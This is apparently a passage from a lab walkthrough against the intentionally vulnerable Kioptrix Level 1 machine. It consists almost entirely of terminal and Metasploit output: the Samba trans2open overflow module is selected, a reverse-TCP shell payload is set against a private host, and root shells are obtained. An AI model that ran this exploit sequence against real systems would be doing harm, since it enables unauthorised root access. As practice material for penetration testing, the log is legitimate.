connect to [192.168.0.226] from (UNKNOWN) [192.168.0.126] 32782
bash: no job control in this shell
[root@kioptrix tmp]# ls
ls
dead.letter
mbox
[root@kioptrix tmp]# dir
dir
dead.letter mbox
[root@kioptrix tmp]# whoami
whoami
root

[msf](Jobs:0 Agents:0) >> search trans2open

Matching Modules
==========

```
  #  Name                                Disclosure Date  Rank   Check  Description
  -  ----                                ---------------  ----   -----  -----------
  0  exploit/freebsd/samba/trans2open    2003-04-07       great  No     Samba trans2open Overflow (*BSD x86)
  1  exploit/linux/samba/trans2open      2003-04-07       great  No     Samba trans2open Overflow (Linux x86)
  2  exploit/osx/samba/trans2open        2003-04-07       great  No     Samba trans2open Overflow (Mac OS X PPC)
  3  exploit/solaris/samba/trans2open    2003-04-07       great  No     Samba trans2open Overflow (Solaris SPARC)


Interact with a module by name or index. For example info 3, use 3 or use exploit/solaris/samba/trans2open

[msf](Jobs:0 Agents:0) >> use 1
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(linux/samba/trans2open) >> set RHOSTS 192.168.0.126
RHOSTS => 192.168.0.126
[msf](Jobs:0 Agents:0) exploit(linux/samba/trans2open) >> set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
[msf](Jobs:0 Agents:0) exploit(linux/samba/trans2open) >> exploit

[*] Started reverse TCP handler on 192.168.0.226:4444
[*] 192.168.0.126:139 - Trying return address 0xbffffdfc...
[*] 192.168.0.126:139 - Trying return address 0xbffffcfc...
[*] 192.168.0.126:139 - Trying return address 0xbffffbfc...
[*] 192.168.0.126:139 - Trying return address 0xbffffafc...
[*] 192.168.0.126:139 - Trying return address 0xbffff9fc...
[*] 192.168.0.126:139 - Trying return address 0xbffff8fc...
[*] 192.168.0.126:139 - Trying return address 0xbffff7fc...
[*] 192.168.0.126:139 - Trying return address 0xbffff6fc...
[*] Command shell session 1 opened (192.168.0.226:4444 -> 192.168.0.126:32783) at 2023-03-08 04:42:32 +0530

[*] Command shell session 2 opened (192.168.0.226:4444 -> 192.168.0.126:32784) at 2023-03-08 04:42:34 +0530
[*] Command shell session 3 opened (192.168.0.226:4444 -> 192.168.0.126:32785) at 2023-03-08 04:42:35 +0530
[*] Command shell session 4 opened (192.168.0.226:4444 -> 192.168.0.126:32786) at 2023-03-08 04:42:36 +0530

whoami
root
id
uid=0(root) gid=0(root) groups=99(nobody)
uname -a
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
```